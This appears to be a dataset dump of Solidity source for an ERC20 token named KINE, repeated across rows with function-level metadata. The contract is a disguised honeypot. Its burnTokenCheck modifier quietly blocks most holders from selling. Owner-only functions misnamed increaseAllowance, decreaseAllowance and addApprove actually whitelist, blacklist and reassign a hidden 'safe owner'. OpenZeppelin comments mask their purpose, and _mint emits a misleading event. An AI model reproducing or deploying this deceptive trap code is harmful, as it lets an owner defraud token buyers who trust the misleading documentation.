return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | allowance | function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
| /**
* @dev See {IERC20-allowance}.
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
3772,
3928
]
} | 11,727 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | KINE | contract KINE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | approve | function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
| /**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
4070,
4244
]
} | 11,728 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | KINE | contract KINE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
| /**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
